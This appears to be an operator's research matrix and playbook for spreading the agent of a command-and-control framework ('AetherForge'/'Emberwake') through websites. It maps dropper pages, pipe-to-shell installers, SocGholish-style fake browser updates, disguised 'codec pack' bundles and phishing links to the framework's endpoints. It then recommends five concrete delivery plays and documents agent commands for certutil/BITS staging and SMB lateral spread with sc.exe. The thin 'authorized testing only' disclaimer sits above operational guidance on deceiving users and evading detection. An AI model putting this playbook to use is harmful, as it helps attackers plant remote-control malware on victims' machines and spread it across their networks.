Web-Mediated Spread Techniques (Research Summary)
Operator playbook (tabbed HTML): SPREAD_TECHNIQUES.html — step-by-step Emberwake how-tos. This file is the research matrix.
Scope: Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For authorized penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of 2024–2026.
What Does NOT Work Anymore (Be Honest)
| Technique | Status | Why |
|---|---|---|
| Silent browser RCE (visit page → shell, no exploit) | Dead | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. MITRE T1189 still documents drive-by, but commodity ops need 0-day/n-day browser or renderer bugs (e.g. CVE-2025-49713 — still requires visiting a malicious page and is patched quickly). |
| Auto-run from Downloads folder | Dead | Chrome/Edge require user gesture for dangerous types; SmartScreen + MoTW on .exe, .msi, .js, .ps1, .bat, .zip. Microsoft download policy, Chrome DownloadRestrictions. |
| Flash/Java plugin drive-by | Dead | Plugins removed or click-to-play extinct. |
Unauthenticated curl | bash on cautious admins |
Hard | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts (curlbash_detect, idontplaydarts). Mitigation: download → inspect → run. |
| CRX sideloading via normal download | Dead | .crx blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via compromised extension updates is the modern path (GitLab tech note). |
Still works with friction: User must click download + run (or run a one-liner they pasted). MoTW bypasses (LNK tricks, FileFix 2.0, 7-Zip MoTW CVE-2025-0411) are patch-cat-and-mouse, not reliable baselines.
Technique Matrix
Owned site (you control origin)
| Technique | Feasibility | Detection risk | AetherForge mapping |
|---|---|---|---|
Dropper landing page — button/link → /get or spread-kit ZIP |
Easy | Med (URL reputation, TLS logs) | Has: /get, /install.ps1, /install.sh, ?pin=, ?c=; static kit at spread-kit-web-publisher/ + /spread/; ZIP export via POST /api/v1/builder/spread-kit-export. |
curl | bash / irm | iex docs page — install instructions for servers |
Easy | Med (EDR script block, proxy logs) | Has: install.sh / install.ps1 with UA-aware /get, campaign env (AETHER_CAMPAIGN). Pin build via ?pin={build_id}. |
| Fake browser / app update page (SocGholish pattern) | Medium | High (browser update lures heavily signatured) | Has: dropper + spread-kit launchers. Needs: branded HTML lander, geo/UA gate, optional TDS. See Trend Micro SocGholish. |
| JS redirect / referrer gate (search → your lander) | Medium | Med–High (injected-script hunting) | Needs: fingerprint JS in web-publisher kit; Has: campaign tracking on final fetch. JSFireTruck scale shows pattern is alive but noisy. |
| Fusion media download — “codec pack” / movie bundle | Medium | Med (large ZIP, SmartScreen) | Has: movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
| Service worker persistence (AiTM / proxy) | Hard | Med | Needs: full PWA stack; feasible for credential phishing, not binary drop without user download. EvilWorker, Akamai SW abuse. |
| WASM obfuscated redirect | Hard | Med | Needs: custom WASM module; evades some static JS scanners, not browser API monitors (arxiv WASM study). Still ends at user-run binary. |
| Waterhole on owned niche site | Easy (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; MITRE T1189. |
Third-party platforms
| Technique | Feasibility | Detection risk | AetherForge mapping |
|---|---|---|---|
| GitHub Releases / raw CDN | Easy | Med (SmartScreen, GitHub abuse reports) | Has: build artifacts; Needs: separate release pipeline, not C2 host. Microsoft malvertising→GitHub. |
| S3 / Cloudflare Pages / R2 / workers.dev | Easy | Med–High (platform abuse ML) | Needs: static publisher ZIP deployed off C2. Fortra Pages abuse, Cofense Cloudflare abuse. |
| npm / PyPI / Docker Hub supply chain | Hard | High (registry scanning, MFA) | Needs: wholly separate packaging pipeline; not in forge today. Shai-Hulud, GitGuardian 48h campaigns. |
| WordPress plugin/theme compromise | Hard (unless you own plugin) | High | Needs: PHP injector + redirect to your dropper URL. EssentialPlugin 2026, CVE-2024-6297. |
| Compromised shared hosting → web shell | Hard | High | Needs: nothing in forge; lateral movement is post-compromise (MITRE T1505.003, Sucuri cross-contamination). |
| Browser extension sideload / store takeover | Dead (sideload) / Hard (store) | High | Extension updates via stolen publisher OAuth (BleepingComputer 35 extensions). Not mapped to forge binaries. |
Social engineering funnel (email / ads → site → file)
| Technique | Feasibility | Detection risk | AetherForge mapping |
|---|---|---|---|
| Email → link → owned lander → download | Easy | Med (email gateway) | Has: campaign ?c= on /get and public download; agent stores campaign on connect. |
OAuth redirect abuse (prompt=none → attacker redirect URI → /download) |
Medium | Med–High | Needs: Entra/Google OAuth app + redirect HTML; payload can point to install.ps1 or ZIP. Microsoft 2026, Proofpoint TA416. |
| SEO poisoning / malvertising | Medium | High (ad review, cloaking detection) | Needs: ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. Malwarebytes utility ads 2024, MSIX SEO poisoning. |
| IFRAME / HTML smuggling | Medium | Med | Needs: client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
Server-specific (endpoints: Linux/macOS/Windows servers)
| Technique | Feasibility | Detection risk | AetherForge mapping |
|---|---|---|---|
curl -sL host/install.sh | bash |
Easy | Med (FIM, auditd, EDR) | Has: full pipeline; install.sh → /get?os=linux + spread-kit unzip path. |
irm | iex on Windows Server |
Easy | Med–High (AMSI, Constrained Language) | Has: install.ps1; hidden cmd /c Deploy.bat for spread-kit ZIP. |
| Trojanized “monitoring agent” docs | Easy | Low–Med if first-party domain | Same dropper; pin worker with ?pin= for stable fleet profile. |
Docker curl | bash in README |
Medium | High | Needs: separate Docker image story; agent has Docker E2E path but not publish pipeline. |
| Web shell → curl dropper | Medium (post-compromise) | High | Operator runs curl from shell; Has: dropper endpoints unauthenticated by design (API-D09). |

In progress / gaps
| Gap | Emberwake / web-publisher role |
|---|---|
| No fake-update HTML kit | SocGholish-style lander — operator supplies branding |
| No JS fingerprint / TDS gate | Filter bots, mobile, non-target geo before showing download |
| No OAuth redirect helper | Entra app registration docs only |
| No public registry publish | npm/PyPI typosquat out of scope — use npm-helper-export on registries you own |
Five Recommended Plays — Sites You Own
Prioritized for authorized red-team / lab use where you control DNS and TLS.
-
First-party install docs page (servers)
Hostinstall.shinstructions on your domain:curl -sL https://your.site/install.sh | bashand PowerShellirm|iexfor Win admins. Use?pin=for a fixed forge profile and?c=docsfor attribution. Lowest friction for Linux fleet / VPS targets; maps 1:1 to existing dropper. -
Spread-kit web publisher (static lander)
Ship the missingspread-kit-web-publishertemplate: single HTML “Download for your OS” button calling/get?os=…&c=landing. Deploy to Cloudflare Pages or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API. -
Fusion bundle as “media/tool download”
Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picksDeploy.bat/deploy.sh. Higher size; pair with code signing (sign_build) to reduce SmartScreen friction. -
Campaign-tagged fake-update page (endpoints)
Clone the SocGholish pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit orUpdate.js-style launcher equivalent (Deploy.vbs). Track?c=update-chrome. High detection risk; use only in controlled purple-team exercises. -
Email → owned lander → pinned build
Simple HTML on your site; linkhttps://c2.example/get?pin={id}&c=phish1or public artifact URL. Chain with Emberwake campaign stats to measure fetch vs install (agent connect). No third-party CDN required.
LOTL staging & LAN spread (agent commands)
| Technique | LOLBins | AetherForge mapping |
|---|---|---|
| BITS / curl / certutil staging | bitsadmin, curl.exe, certutil -decode, rundll32 |
Has: stage_fetch command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use deploy.ResolveStagingPath (same traversal rules as upload/download). |
| SMB UNC remote service | sc.exe, net.exe |
Has: spread_smb_unc — sc.exe \\host create/start with binPath= pointing at \\forge-host\pathforge$\worker.exe (no PsExec, no local copy). Targets from ARP-first /24 discovery (deploy/subnet.go). Path Tracer egress hop: POST /api/v1/pathtrace/spread with session_id + unc_path. |
